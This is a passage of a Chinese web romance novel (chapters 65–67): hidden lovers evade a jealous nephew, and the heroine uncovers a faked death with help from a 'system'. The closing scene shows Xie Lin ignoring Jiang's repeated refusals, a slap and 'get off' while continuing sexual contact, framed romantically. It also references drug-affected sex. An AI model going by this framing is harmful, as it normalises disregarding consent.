方隐年希望在合适的时间和地点,委婉地让侄子放弃对姜以柔的执念。 而不是让年幼的侄子猝不及防地直面心上人和别的男人恩恩爱爱。 方隐年最清楚侄子那暴烈如火的性格。 他要是真的撞见这一幕,那会出大事的。 方隐年深吸一口气,沉声问道:“镜麒现在在哪儿?” 苏正深深埋着脑袋,喏喏道:“到……到酒店楼下了。保镖们拦住了他,但不知道能拦多久。” 第65章 苏正的话一出口, 明显感觉到四周的气压低了许多,而所有寒意的来源便是他们方总。 方隐年面色沉凝,只犹豫了片刻, 便迅速做了决定。 他转身望向姜以柔和谢凛,语气沉沉地说道:“两位,你们跟着苏正走吧, 他带你们从这间酒店的贵宾通道离开, 不会被任何人打扰。” 他语调平和,虽然带着征询的意味, 可态度中却隐隐透着股不容拒绝的强势。 谢凛危险地眯了眯眼睛,偏要与他针锋相对,不甘示弱地冷声道:“轮不到你来安排我们。” 方隐年蓦地望向他, 一双凤眸是前所未有的冰冷。 眼看着方镜麒随时就要冲上来, 谢凛却还要跟他唱反调。饶是方隐年素来沉稳,此时也有些动了怒。 谢凛下颌微扬,狭长的黑眸寸步不让地逼视着他,里面是明晃晃的挑衅。 他们对彼此怀有浓重的敌意, 每一次交锋都充满了火药味。 方隐年凤眸微眯, 盯着谢凛的眸中泛着寒光,但时间紧迫,他终究隐忍了下来, 不想同谢凛纠缠。 他转而看向旁边的姜以柔身上,沉声道:“姜小姐, 就当帮我个忙。” 姜以柔眨了眨眼睛, 盯着方隐年看了好一会儿,才眉眼弯弯地笑道:“好啊,那算你欠我个人情。” 见姜以柔松口, 方隐年松了口气,点头应道:“好,算我欠你。” 方隐年面色平静地认下了这个人情,心里却有种说不出的荒谬。 兜兜转转,竟然成了他欠了她。 方隐年深深地看着姜以柔,狭长的凤眸中情绪莫测。 方隐年和姜以柔达成了协议,那边的谢凛却又沉下了脸。 他拧着眉头瞪向姜以柔,语气不善地质问道:“为什么要避开他?我们俩的事……见不得人吗?” 谢凛腮侧微鼓,似是在狠狠咬牙,那双眸子黑幽幽的,像是暗夜里蓄势待发的狼。 姜以柔扯了扯他的袖子,熟练地哄道:“哎呀,你不知道那个小屁孩有多烦人,被他缠住的话,肯定会闹个没完。我想快点回家嘛……” 姜以柔仰头望着谢凛,润着水光的眸子轻轻一眨,那欲说还休的委屈,实在让人无法拒绝。 紧接着,她轻轻摸了下谢凛额上的伤口,那里已经不流血了,但看着仍旧触目惊心。她语气里满是心疼:“而且,我不想你再打架了。” 谢凛面上的阴戾骤然凝固,他垂眸怔怔地看着姜以柔脸上的心疼,有些不自在地抿了抿唇。 积聚的怒意慢慢消散,谢凛不说话了,算是默认了姜以柔的决定。 姜以柔眸底掠过一丝得逞的笑意,开心地踮脚亲了亲他的下颌,咕哝道:“真乖。” 对于这个评价,谢凛的脸色有些古怪,却纵容地揽住了她的腰肢,没有反驳什么。 方隐年冷眼看着这两人当着他的面调情,说不出的情绪在胸膛里翻涌,几乎要冲破他冷静的外壳。 方隐年隐忍地揉了揉眉心,开口时嗓音冷得几乎掉冰碴,“够了吧。” 姜以柔笑了笑,拉起谢凛的手便往门口走:“好了,我们赶紧离开吧。” 然而,他们还没来得及出门,便被满头大汗的苏正拦下了。 苏正苍白着一张脸,晃了晃手机说道:“保镖说……少爷已经上来了!” “恐怕来不及了……” 闻言,空气骤然凝固下来。在场几人面色各异,神情都很是复杂。 谢凛恐怕是最平静的一个,他冷冷地勾了勾唇角,竟然若无其事般活动了下拳头。 似乎已经准备好了随时应付发疯的方大少。 而姜以柔一想到暴躁任性的大少爷一定会大吵大闹,也不由得有些头疼。 至于方隐年,他恐怕才是最揪心的那个人。 镜麒的伤势才刚稳定下来,若是受了刺激,肯定要不管不顾地跟谢凛动手,到时候…… 思及至此,方隐年深吸一口气,果断道:“你们躲起来吧。” 姜以柔和谢凛微微一怔,面色都变得有些古怪。 躲起来……怎么倒真跟偷情一样了? 外面有凌乱的脚步声迅速逼近,隐隐还能听见方镜麒熟悉的声音,充满少年人的嚣张和任性。 姜以柔来不及多想,稀里糊涂地带着谢凛躲进了这间总统套房的其中一个卧室里。 并不是他们昨天睡觉的那一间,相对来说整洁很多。 姜以柔和谢凛面对面站在卧室门口,两人对视间,有种莫名的气氛在蔓延。 姜以柔忍不住笑出声来,用气音小声问道:“像不像偷情?” 闻言,谢凛瞥她一眼,幽黑的眸中似乎燃起了一簇暗火,他一把揽住她的腰,将人带进了怀中。 就在他要继续有所动作的时候,姜以柔浑身一震,连忙示意他别动。 因为外面传来了开门声—— 方镜麒来了。 姜以柔原本不怎么在乎的,这会儿却也难得有些紧张。 毕竟方大少那股子跋扈的疯劲儿还是很难缠的。 但就在这时,姜以柔发现了一个令她心头一跳的事实—— 这个房间的门锁竟然是坏的! 它只能关上门,却不能反锁。有人在外面的话随便就能打开房门。 姜以柔顿时紧张地拽了拽谢凛的袖子,示意他看向门锁。 谢凛随意瞟了一眼,便轻飘飘地移开了视线,似乎不是很在意。 他只把姜以柔往怀里紧了紧,轻轻摩挲着她的腰肢。 外面的客厅里,方隐年定定地看着面前的侄子,心情格外复杂。 在今天之前,他做梦都想不到自己会面临这样的场景。想到隔壁房间的姜以柔和谢凛,再看看眼前挺拔的少年,方隐年忍不住闭了闭眼睛。 方镜麒已经一脚将房门踹开,大摇大摆地进了屋内。 门口的几名黑衣保镖满脸无奈,紧紧跟在方少爷的身边。他们既不能下狠手揍人,还要防止他行为过激,时不时还要躲避方镜麒的攻击,实在是苦不堪言。 方镜麒冷着一张俊脸踏进屋内,先扬着下巴环视了一圈。他头发短得几乎贴头皮,凤眸睥睨间,熟悉的嚣张气扑面而来。 方隐年不动声色地打量着这个侄子,语气平静地道:“镜麒,你不好好在医院修养,跑来这里做什么?” 方镜麒看也不看他,只饶有兴味地打量着四周,漫不经心地应道:“还不是因为你。” “方隐年,你不是在B市处理重要项目吗?怎么突然丢下一个烂摊子,自己跑回来了?那群高层的电话都打到我这里了……” 方镜麒的右臂仍打着石膏,却丝毫不显病弱,他昂着下巴一步一步朝方隐年逼近,望向方隐年的目光中含着探究之意,锋芒毕露。 方隐年沉默片刻,淡声道:“不用理他们,我只是突然有点急事而已。” “急事?什么急事?”方镜麒蓦地盯住他,凤眸微眯间,透着股意味深长。 方镜麒单手插兜,玩味地说道:“我看……你是有什么秘密吧?” 在方镜麒十几年的人生记忆中,他的小叔从未如此失态过。 哪怕是当初他的父母和爷爷奶奶相继去世,整个方家风雨飘摇,方隐年也只是平静地离开自小长大的寺庙,然后以雷霆手段掌控了方家。 方镜麒跟他小叔“斗智斗勇”这么多年,实在太了解这个人了。 有时候,方镜麒甚至觉得这人无欲无求无情到是一尊真正的神佛,所以,方镜麒无比敏锐地从他此次的反常中,嗅到了不一样的味道。 方镜麒双眸微眯,紧紧盯着方隐年,眸光中隐隐透着兴奋。 能让方隐年失控、狼狈的东西……他非常感兴趣。 方镜麒就像是幼狼终于发现了对他压制已久的头狼的弱点,随时准备扑上去咬断他的喉咙。 方镜麒凌厉的眸光一寸一寸扫过这间套房,不放过任何一个疑点。 他看着地上的一片狼藉,挑了挑眉,有些玩味地问道:“你跟人打架了?” 方隐年深吸一口气,尽量平静地说道:“镜麒,别闹了,赶紧回去。” 方镜麒恍若未闻,自顾自地继续追问道:“你赢了还是对方赢了?” 说着,他细细打量着方隐年,没在他身上发现任何伤口,顿时无趣地耸了耸肩:“看来你没输。” 竟然还有点遗憾的模样。 方镜麒很快便走到了姜以柔和谢凛昨晚睡的那间房门口,他透过未关的房门往里瞟了一眼,顿时怔住了。 幽暗的房间,凌乱的大床,还有散落一地的衣物碎片。 哪怕他没有经验,也能从眼前的景象中猜到些什么。 方镜麒瞬间嫌恶地皱起眉头,他用不敢置信的眼神打量着方隐年,语气古怪道:“你……你连夜赶回来,就是为了跟人鬼混?!” 方隐年闭了闭眼睛,眉心处的褶皱是他死死压抑的怒火。 片刻后,他头也不回地冷声唤几名保镖,“带他回医院!” 这是忍无可忍,不打算再对方镜麒客气的意思了。 几名保镖得了命令,立刻上前想要制住方镜麒。 方镜麒却灵活地后退几步,撤出了他们的包围圈。 方镜麒一边后退,一边朝方隐年笑得古怪。 他歪了歪头,眉梢轻挑间,英俊的脸庞上满是肆意的邪气,他恶劣地调笑道:“方隐年,你平时装的那么清心寡欲,看来也不过是个凡人啊。” “怎么,你跟女人睡觉的时候,有没有想起你的佛祖啊?”方镜麒哈哈笑了两声,肆无忌惮地说道。 方隐年眸色骤沉,望向侄子的目光从未如此冰冷。 方镜麒兀自笑完了,便微扬着下颌,毫不避讳地直视他,两双相似的凤眼对视间寒光四溢,空气都仿佛凝滞了。 恰在此时,有服务生进门,被这剑拔弩张的氛围吓了一跳,一时间踌躇着不敢上前。 方隐年深吸一口气,强压下翻涌的怒火,尽量平静地望向来人,用眼神询问他有什么事。 服务生手里拿着一个礼盒,紧张地磕磕绊绊,说道:“方先生,您拍下的那对耳坠还没拿,我给您送过来……” 耳坠。 方隐年眼神微动,点点头说道:“给我吧。” 然而,服务生还没来得及将礼盒交到他手中,就被另一个人夺去了。 方镜麒几步上前夺过礼盒,又挑衅般后退几步,和方隐年拉开距离。 他面带得意之色,几下就拆开了礼盒。他好整以暇地打量着那对珍珠耳坠,不由得嗤笑道:“方隐年,这该不会是送给你的鬼混对象的吧?不过……” “这玩意儿也太穷酸了吧?”方镜麒随手抛起这两个小小的耳坠,又稳稳地接住,态度恶劣又轻佻。 眼看着那对耳坠被方镜麒如此随意地对待,方隐年心头一跳,立刻沉声喝道,“方镜麒。” 方镜麒不屑地冷笑一声,竟然随手一扬,那对耳坠便这样直直地朝方隐年飞去。 “这种便宜货色,有必要这么紧张吗?” 方镜麒在扔出那对耳坠的瞬间,莫名觉得它们有一些眼熟,似乎在哪里见过,但这股异样感转瞬即逝,他并未深究,只冲着方隐年极尽嘲讽。 方隐年迅速接住那对耳坠,他紧紧捏着那圆润的珍珠,直到硌得掌心微痛,急促跳动的心才渐渐平缓下来。 他沉着脸盯住方镜麒,厉声喝道:“滚回去!” 几名保镖不敢再耽搁,赶紧朝方镜麒围拢而去。但下一秒,方镜麒毫不留情地抓起手边的立式台灯,猛地挥了出去。 他挑了挑眉梢,冷笑一声道:“想打架?那就来啊!” 方隐年面色一沉,阴晴不定的眸光落到他打了石膏的右臂上,终究是投鼠忌器。 对于这个混不吝的魔王侄子,方隐年向来只能以强武力压制,但偏偏他这次受了伤…… 正当方隐年犹疑之际,方镜麒抓住机会,直冲另外几个房间而去。 他盯着其中一扇紧闭的房门,阴沉地冷笑道:“你这么紧张,该不会那姘头还没走吧?” “方隐年,老子谈个恋爱,你百般阻挠;现在我倒是要看看,你找的又是个什么货色……” 少年身形挺拔,眉眼乖戾,那又短又刺的头发正如他嚣狂的性格,有种天不怕地不怕的狠劲儿。他直冲着另外一间房而去,像是打定了主意要抓住方隐年的把柄。 而那一间房,正是姜以柔和谢凛的藏身之处。 方镜麒人高腿长,步子也大,转眼间已经走到了门前,他攥住门把用力一推—— 大门稳稳的,一动不动。 门内,姜以柔从方镜麒的脚步声逼近时,便脸色微变,她甚至开始四处打量,想看看有没有其他的藏身之处。 这时,谢凛却不轻不重地捏了捏她腰上的软肉。 姜以柔腿一软,嗔怒地瞪了他一眼。 这都什么时候了,他还有心思琢磨这些事?! 谢凛定定地望着她,看她一脸紧张的模样,眸底掠过一丝笑意。 他薄唇微启,无声地说了两个字,“别怕。” 然后,在姜以柔的注视下,谢凛伸出一只手,轻轻按在了门板上。 下一秒,方镜麒的脚步声已贴近门口,紧跟着是一股猛地推向大门的力道。 谢凛面色不动,一只手稳稳按在门板上,手臂肌肉偾张,青筋沿着流畅的小臂线条蜿蜒而上,蕴含着爆炸性的力量。 他仅凭单掌之力,就将门外所有的喧嚣与危险隔绝在外。 “操!怎么打不开?”门外,方镜麒暴躁地踹了一脚门板。 沉重的撞击声让姜以柔心惊肉跳,可那扇门在谢凛手下竟稳如磐石。 姜以柔一口气吊在胸口,忍不住紧紧地盯着他的手掌,生怕下一秒大门就被撞破。 然而,谢凛的手稳稳的,将所有危险因素全部阻挡在外,将昏暗的屋内隔绝成一片静谧之所。 外面的喧闹声配合着微颤的门板,再加上随时可能会被破门而入的紧张,疯狂撩拨着人的神经,姜以柔不由得有些紧张。 在这极致紧张的氛围中,谢凛的视线始终缠绕在姜以柔身上。看着她轻咬的下唇,微微颤抖的睫毛,那罕见的略带慌乱的神情,是那么的脆弱,又诱人,让谢凛眸色渐深。 他突然俯身,重重地吻上了她的唇。 “唔!”姜以柔惊恐地睁大双眼,喉间溢出一丝细弱的呻吟。 门外是方镜麒气急败坏的砸门声,门内却是谢凛不容抗拒的深吻。这两个极端的世界被一扇薄薄的门板隔开,而她就悬在中间,被谢凛带着在危险边缘沉沦。 谢凛吻得很投入,缱绻至极。他一手稳稳制住躁动的门扉,一手紧紧扣住她的腰肢,将她牢牢锁在这方寸之间。 姜以柔在双重刺激下浑身发软,指尖无力地抵着他坚硬的胸膛。理智告诉她应该推开,身体却诚实地为他颤栗。 姜以柔的眼眶都微微泛起红潮。 谢凛这家伙,疯了吗?! 这种时候还敢吻她? 万一被方大少撞见这一幕……他们俩大概只有一个人能竖着走出这个房间吧!:) 第66章 在砰砰的撞门声中, 姜以柔仿佛游走在悬崖边,整个人异常紧绷。 这却恰恰让她的感官变得更加敏锐。 她从未觉得谢凛的双唇如此滚烫,辗转厮磨, 不仅掠去她口中的津液,还勾起那心底最深的悸动。 姜以柔忍不住浑身颤抖起来,身体软得不成样子, 整个人都挂在了谢凛的身上。 谢凛一只手稳稳地按着房门, 狼一样的眼睛却死死锁着姜以柔,满心满眼都是蔓延的□□。 他竟然变本加厉地捞起姜以柔的臀, 一用力将她托了起来,仰头吻得更加深入。 也不知道他哪里来的这么多力气,抵住门板之余也不忘在姜以柔身上卖力气。 门外的混乱声和唇齿厮磨的暧昧声响在姜以柔脑海中炸开, 只隔着一道脆弱的门板, 带给她最深的战栗。 她只能越发用力地环住谢凛的脖颈,如藤蔓般缠缚在他身上,感受着这异样的快意。 门外又是截然不同的一片世界。 方镜麒先是猛地一推,没能推开这扇稳如磐石的门, 他眯了眯眼睛, 立刻意识到了什么,侧身狠狠地撞了上去,发出巨大的声响。 方隐年看着这一幕, 眉头狠狠一跳。 他再也维持不住冷静的姿态,猛地冲上前去, 从背后一把箍住了方镜麒。 “镜麒, 别闹了!”方隐年死死勒住他的肩膀,沉声怒喝道。 方镜麒冷笑一声,完好的左手狠狠一个肘击, 猛地打在了方隐年的腰腹处。 同时,他还不忘抬腿,狠狠一脚踹在了门板上,又是一声惊天巨响。 方隐年被打得闷哼一声,但他手上的力道丝毫微松,仍旧牢牢地箍在方镜麒的身上。 他俊脸微微沉了下来,更加用力地将方镜麒往后拖。 一旁的保镖们都愣住了。 方少爷最荒唐的时候,方总都没有亲自对他出手过,永远是冷眼旁观保镖们控制住少爷。 这还是第一次,叔侄俩扭打成一团。 这场面实在是让人不敢置信。 他们从未见过方总如此失态。 保镖们刚才顾忌方镜麒的伤势,不敢全力出手,这会儿见方总都被逼到如此境地,再不敢有所保留,一窝蜂涌上去控制方镜麒。 一番混战之下,方镜麒趁乱又踹了几脚大门,却依旧没能踹开,最后被一众人牢牢控制住了。 他奋力挣扎着,阴鸷的眸子死死盯着那扇紧闭的大门,里面盛满了不甘。 要是再给他点时间,他一定能踹开门进去…… 方隐年沉沉地吐出一口气,向保镖们使了个眼色,几人立刻硬控着方镜麒往外面走去。 方镜麒冰冷的眸光随即落到方隐年的身上,他扯了扯唇角,一字一句恨声道: “方隐年,你最好祈祷自己能把这个人永远藏住,要是被我发现了……” 方隐年既然敢阻挠自己的恋情,那他也绝不会让他好过! 方镜麒冷笑一声,威胁之意溢于言表。 方隐年眸光沉沉地与他对视,两双相似的凤眸昭示着他们之间最亲近的血缘,可他们那剑拔弩张的氛围却完全像是仇人。 最后,方镜麒不甘不愿地被“押送”回了医院。 套房内终于又恢复了平静。 方隐年静静地站在房间中央,久久未动。安寂的空气将他包裹,沉重而窒息。 过了一会儿,方隐年踱步回那扇房门前,抬手轻轻地敲了敲。 那敲门声轻缓而笃然,他终于又变了那个从容淡然的方隐年。 敲门声落下后许久,房门才被悠然打开,谢凛和姜以柔相继走了出来。 方隐年的眸光在两人身上扫过,微不可查地一顿,眉心也若有所思般微微蹙起。 这两人看似一切正常,但他们眉眼相撞间却萦绕着一种说不清的暧昧。 方隐年静静地打量着姜以柔犹泛着水光的红唇,和那蒙了一层薄雾般的潋滟双眸,分明是一副动情的模样。 方隐年的眸光有一瞬间的怔愣,当他意识到什么的时候,面色骤然沉了下去。 他深吸一口气,强压下胸口翻涌的情绪,但眼角眉梢还是泻出几分冷意。 他偏开头不再看他们,颇有种眼不见心不烦的意味,沉声道:“你们现在离开吧。” 谢凛和姜以柔没有再在这里逗留的理由,立刻便应了下来。 临走前,姜以柔脚步一顿,意味深长地望向方隐年,目光着重停留在他的手上。 此时此刻,他手里仍然攥着她的那对珍珠耳坠。 如今价值千万的珍珠耳坠。 姜以柔笑得明媚动人,意有所指地说道:“方总,你眼光不错嘛。” “下次如果再看上我的首饰,可以直接找我买,我给你算便宜点。”姜以柔眨了眨眼睛,揶揄地笑道。 闻言,方隐年顿时觉得掌心的珍珠耳坠格外烫人。 他瞳仁微颤,唇角抿出一个隐忍的弧度。 有种在姜以柔面前无所遁形的狼狈感。 谢凛则皱了皱眉,狐疑又警惕地打量着两人,沉声追问道:“什么首饰?” “没什么,快走吧。”姜以柔笑了笑,无意解释,只扯着谢凛快速离开了。 方隐年默默地盯着两人离去的背影,良久,将藏在背后的手抬起,摊开。 宽大的掌心里,那两粒珍珠耳坠格外小巧,此刻却仿佛有千斤重。 谢凛手掌微颤,猛地攥紧拳头,将那两枚耳坠死死捏在掌心。 凤眸中翻涌着阴晴不定的幽光。 另一边,苏正带着姜以柔和谢凛迅速离开了套房,坐特殊电梯直达贵宾通道,由方隐年的专车亲自送他们回家。 姜以柔不知道的是,幸亏她接受了方隐年的安排,才没有被酒店外蹲守的各路狗仔和粉丝抓拍到。 现在,顾星延的“绯闻女友”已经传得沸沸扬扬,所有人都想知道她的真面目,这间酒店周围全是各方眼线。 而姜以柔坐着方隐年的车,从贵宾通道悄无声息地离开,没有引起任何人的注意。 过了一会儿,方隐年的专车稳稳地停在姜家楼下。 姜以柔困倦地打了个哈欠,正要下车,谢凛熟练地伸出手想要抱她。 姜以柔却轻轻拍了下他的手,隐晦地瞪了他一眼。她自己下了车,笑着对苏正道别:“苏特助,再见,回去的路上小心点。” 苏正低垂着目光,恭敬客气地回道:“姜小姐,再见。” 姜以柔和谢凛相携离开,直到两人走进单元楼后,姜以柔便不再强撑,毫不客气地挂在了谢凛的身上,颐指气使道:“抱我。” 她腰痛腿痛,浑身都痛,要不是怕外人围观,早就让谢凛抱她了。 谢凛俯身勾住她的膝弯,轻轻松松地将人拦腰抱起,步履平稳地抱她回家,丝毫看不出昨晚刚干了“体力活”。 抵达姜家门口时,姜以柔正要喊她放自己下来,大门却突兀地打开了。 他们跟屋内的姜父姜母大眼对小眼,气氛瞬间尴尬。 五分钟后,四个人在姜家客厅落座。 姜母轻咳一声,不尴不尬地问道:“这个……小柔,你昨晚上没回来,是跟小谢在一块呢?” 姜以柔沉默片刻,似乎在想该如何狡辩,但最后也只能叹了口气,承认道:“是。” 谢凛瞥她一眼,抿着唇沉默。 姜父姜母也安静了好一会儿,半晌,姜父憋出一句话:“那你们啥时候结婚啊?” 老一辈人的观念就是,都一起过夜了,那肯定要结婚! 这一句话让姜以柔和谢凛都愣住了。 姜以柔万分无奈,含糊地推辞道:“没影儿的事呢,别瞎操心了。” 哪怕一点儿都不意外于姜以柔的回答,谢凛的心还是忍不住微微刺痛一下。 姜母顿时急了,瞪着谢凛脱口而出质问道:“小谢,该不会是你不想负责吧?” 谢凛微微一怔,心里漫上股荒诞的古怪感。 他不想负责? 谢凛唇角轻扯,那弧度有些讽刺。 不想负责的是她才对吧。 这一刻,他几乎有种不管不顾的冲动,就这样在他的父母面前认下两人的关系,做出他们会结婚的承诺,是不是……她就会妥协了呢? 但是,他终究不忍心让她为难。 眼看着姜以柔皱着眉有些烦躁的模样,谢凛主动开口,将责任都揽在了自己身上。 他淡声道:“叔叔阿姨,我还在创业,目前不太稳定,结婚的事暂时不着急。” “但如果哪天,”谢凛深吸一口气,不受控制地望向姜以柔,“她想结婚了……” “我随时可以。” 有了谢凛的承诺,姜父姜母勉强揭过了这件事。 看着姜以柔那副大松一口气的模样,谢凛的眸光不由得有些暗淡。 得到谢凛的承诺后,姜父姜母明显放下了心头的一块巨石,望向他的眼神也柔和了几分。 “小谢啊,留下吃饭吧,我现在去做。”姜母笑着起身。 素来冷漠的谢凛此时却主动走向厨房,言简意赅道:“我做吧。” 不等两位老人回应,他便已经自顾自忙活了起来,倒是十分自觉。 姜父起身想拦,“哪有让客人做饭的道理……” 姜以柔却一把拽住两个老人,干脆地说道:“行了,让他做吧。” 姜以柔瞟一眼在厨房里忙碌的谢凛,抓着便宜父母到了一个离厨房最远的屋子,面色变得有些严肃。 她从手机里翻出乐柠的父亲林松齐的照片,举到两人面前,问道:“你们还认得他吗?” 姜父姜母戴上老花镜,仔细打量着照片上英俊儒雅的男人,犹疑地摇了摇头:“不认得啊,这是谁?” 姜以柔皱了皱眉,难道是她猜错了? 她温声继续追问道:“那你们还记得姜渔的爸爸吗?” 闻言,姜父和姜母同时脸色一变,“提那个死鬼干嘛?晦气!” 在姜以柔的坚持和追问下,姜父和姜母终于断断续续地透露了一些姜渔父亲的情况。 “林维刚那小子不是什么好东西,我当年就看出来了,他是个有野心的,一心往上爬。”姜父叹了口气,“他也就是穷才跟你在一块,等他有钱了,肯定第一个蹬了你。” “就是!你当年才十六七岁呢,他就哄着你怀孕了,村里的人都戳你脊梁骨,他倒好,不说娶你进门吧,竟然忽悠你跟他一起跑了!”姜母应和道,气得直拍大腿。 姜以柔眼神一动,追问道:“姜渔她爸爸叫林维刚吗?” “嗯。”姜母点点头,叹了口气道,“当时村里不少人开你俩的玩笑,说你们的名字是‘以柔克刚’,天生一对什么的……” 十几年过去了,姜母提起这个人时仍旧恨得咬牙切齿,“林维刚说是要带你过好日子,忽悠你跟他来了S市,但过了没多久,他就把你扔在这里,一个人跑去南边倒腾什么生意了!他还说什么带着你个孕妇不方便,我看他就是想甩掉你了……” 说到这里,姜母恨铁不成钢地点了点她的额头,“你个傻丫头,要不是我和你爸及时赶过来,你一个没成年的孕妇在这儿怎么活啊?!” 姜父幽幽地叹了口气,说道:“幸亏他死得早,不然得一直耽误你……” 姜以柔静静地听着,全程表情都很平静,毕竟她并不是原来的“姜以柔”,所以没什么感同身受的痛苦,只是跟听故事一般。 姜以柔在意的只有一件事,她再次将那张照片举到姜父姜母面前,认真地说道:“你们仔细看看,这个人……像不像小渔的爸爸?” 姜父和姜母微微一怔,不由得更认真地打量起照片里的男人。 这一看之下,姜母的脸色有点变了,“你别说……还真有点像。” 他们之前根本没往这方面想,现在经过姜以柔的提示,照片里的人竟然越看越眼熟…… “这相片里的人……要是再黑点,瘦点,倒是真跟那个死鬼挺像的……”姜母喃喃道。 姜父有些迟疑地问道:“这人难道跟小渔她爸是兄弟?” “不是。”姜以柔摇了摇头,继续问道,“对了,当年你们是怎么知道小渔爸爸的死讯的?有人见到他的尸体吗?” 姜父皱眉回忆了一下,不确定地说道:“当时就有人打电话过来说他死了,然后给我们打了几万块钱。” “他的尸体就埋在那边了吧,这又没法运回来。” 姜以柔皱了皱眉,继续问道:“那林维刚有没有留下过什么东西呢?” 姜父和姜母对视一眼,不确定地说道:“你俩刚谈对象那会儿,林维刚把他家祖传的玉坠分了你一半,说是啥定情信物。” “那玉坠你俩一人一半,林维刚的那半他带走了,估计跟他一块埋了吧。你的那半留给小渔了。” “玉坠?”听到这里,姜渔眼睛猛地一亮,急声催促道,“那玉坠在哪儿?让我看看!” “小渔说她不小心弄丢了。”姜父摇摇头说道。 姜母则撇了撇嘴,嫌弃道:“什么祖传的,就是个破烂而已,一点儿都不值钱。这么个破烂玩意儿就把你哄去了……” 姜母被勾起了伤心事,耿耿于怀地不停嘀咕着,说到伤心处时还抹了抹眼泪。 但姜以柔却没心思关注她的情绪,只顾着沉浸在自己的世界中。 “半块玉坠……”姜以柔若有所思地喃喃道。 她隐约记得,乐柠脖颈上就戴着一个用红绳串起的玉坠,而且也是只有一半。 姜父姜母见她这副心不在焉的模样,有些担心地问她到底发生了什么事。 姜以柔笑了笑,随便带过这个话题,然后忙不迭回了自己的卧室。 一进屋,姜以柔就迫不及待地问道:“小六,你在吗?” 脑海里响起隐隐的电流声,666久违的机械音终于出现:“我在。” “我刚穿来那会儿,姜渔和女主乐柠起了冲突,是不是就因为姜渔想抢女主脖子上的玉坠来着?” 系统666沉默片刻,说道:“……是这样的。” 这一刻,姜以柔心里有种尘埃落定的感觉。 她知道,自己的猜测大概率是正确的。 乐柠的父亲……不,准确来说是继父,林松齐,他实际上是姜渔的亲生父亲林维刚。 十几年前他编造了一个假死的谎言,以甩脱贫穷的出身和姜家母女这对拖油瓶,摇身一变成了豪门乐家的女婿,从此扶摇直上,跨越了阶级。 而书里的姜渔之所以总是跟女主乐柠作对,大概是因为从她随身佩戴的玉坠中,慢慢猜出了这一切。 姜以柔有些头疼地揉了揉眉心,抱怨道:“这么重要的隐情,书里怎么会没有写明呢?” 系统666也有些心虚地说道:“这……原著确实不可能面面俱到。” 姜以柔叹了口气,其实她早就觉得不对劲了。 因为姜渔现在的黑化值已经很低了,而且她现在生活条件大幅度提升,学校里也没人敢欺负她了,按理说黑化值应该持续降低直至清零,但事实是,她的黑化值就卡在一个临界点,怎么都动不了。 当时姜以柔就猜测,姜渔心里应该还有一个重要的心结没有解开,现在看来……果然如此。 事已至此,姜以柔开始重新思考救赎姜渔的策略。 系统666帮不上忙,只会在旁边出馊主意,姜以柔听得烦了,突然开始翻旧账。 她皮笑肉不笑地质问道:“小六啊,我倒是忘了问问你,昨晚我遇到危险的时候,你去哪儿了?” 说好的会保护她呢?! 系统666沉默片刻,欲哭无泪道:“宿主,在你的情欲值超出正常标准时,我就被迫关机了,屏蔽了对你的感知……” 姜以柔微微一愣,“什么意思?” “意思是,当检测到宿主的个人欲望过于强烈时,出于宿主的个人隐私保护,系统会暂时隔绝对宿主的感知。” “你没发现吗,比如你上厕所和洗澡的时候,我都从来不出现的,这是属于我们系统的被动隐私保护啊!” 姜以柔:“……” 系统666随即弱弱地解释道:“不过宿主你放心,我在被迫关机前特意检测过了,确定反派赶得及救你,才放下心来的。” 姜以柔的表情有些复杂,无语地翻了个白眼。 过了一会儿,谢凛来敲门说,饭做好了。 谢凛的厨艺明显有长进,卖相和味道都不错,姜父姜母对这个准女婿更加满意了。 饭后,姜父姜母照例要求姜以柔出门送送谢凛。 姜以柔腰还酸着,跟他到了门口就抱怨道:“我就送你到这儿吧。” 谢凛却握住了她的手,定定地望着她,说道:“送我到楼下吧。” “楼下?”姜以柔有些疑惑地歪了歪头。 当谢凛牵着她来到楼下的房子,并且打开门之后,姜以柔愣住了。 谢凛淡声解释道:“我买下了这间房子。” 姜以柔眨着眼睛看他,突然意味深长地勾了勾唇角,问道:“你什么时候买的?” 谢凛抿了抿唇,有些不自在地撇开眼,没有回答。 他们昨晚才发生关系,而房子不可能一天时间就买好。也就是说,早在之前谢凛不断抗拒她的接近时,他就已经买下了这里。 姜以柔踮脚圈住他的脖颈,眼底全是狡黠的笑意,她缓缓凑近,调笑着说道:“原来,你当初一边不让我亲,一边连我家楼底的房子都早买好了。” “谢凛啊谢凛,你还挺闷骚的嘛。”姜以柔面上满是揶揄的笑意。 谢凛深吸一口气,突然反客为主地圈住她的腰,随手一提,直接将她抱进了新买的房子里。 他头也不回地踢上房门,冷哼一声道:“进来坐坐吧。” 姜以柔:“……” 哪个“zuo”? 第67章 【本章请关注段评】 姜以柔心里有些发毛, 挣扎着想拒绝谢凛的亲近,然而转眼间,他高大的身躯已经不容抗拒地压了下来。 炙热的唇和舌十分熟练地撬开她的唇, 一番强势又缠绵的掠夺后,姜以柔腿软得站不住,只能勉强挂在谢凛的身上。 谢凛干脆单臂托起她, 直奔卧室的床而去。 他的步伐又急又快, 几步就跨进了卧室。然后,两人一同倒进了那柔软的大床上。 当谢凛炙热的身躯覆上来的那一刻, 瞬间唤醒了姜以柔关于昨晚的记忆。 晃动得几乎看不清的天花板,强烈的存在感几乎要将她逼疯。 更可怕的是,谢凛实在太有劲儿了, 仿佛无休无止一般。 她的药性其实很早就解了, 但谢凛对她的求饶声充耳不闻,那赤红着眼睛的模样,简直就是个人形凶兽。 姜以柔回想起昨晚的经历,顿时感觉身上又开始隐隐作痛起来。 她几乎是手脚并用地推拒着谢凛, 含糊不清地抱怨道:“不行, 我还疼着呢……” 谢凛恍若未闻,紧紧箍着她,细密的吻如雨点般落下, 此时此刻,他身上逸散着野兽般的侵略性, 仿佛恨不得将她一口吞下。 姜以柔实在是怕了他, 气得抽了他一巴掌,娇声怒斥道:“滚下去!” 谢凛却动也未动,甚至还捉住她的手掌, 侧头亲了下那娇嫩的掌心。 谢凛垂眸紧紧盯着她,漆黑狭长的眼眸中燃着暗火,让姜以柔心尖一颤。 他哑声安抚道:“放心,不进去。” 姜以柔一开始还有些迷茫,后来很快就懂了谢凛的意思。 谢凛的吻从她的唇角一路下滑…… 谢凛幽幽地盯着,呼吸声乍然粗重起来,眼尾泛起熟悉的猩红。 他缓缓凑近,温热的气息喷洒。 姜以柔顿时身体一颤,难熬般搅动着脚趾,紧咬的牙关中泻出细微的气音,如泣如诉。 谢凛的鼻梁很高很挺,先于他的唇而到,他轻轻蹭了两下,狎昵而缠绵。 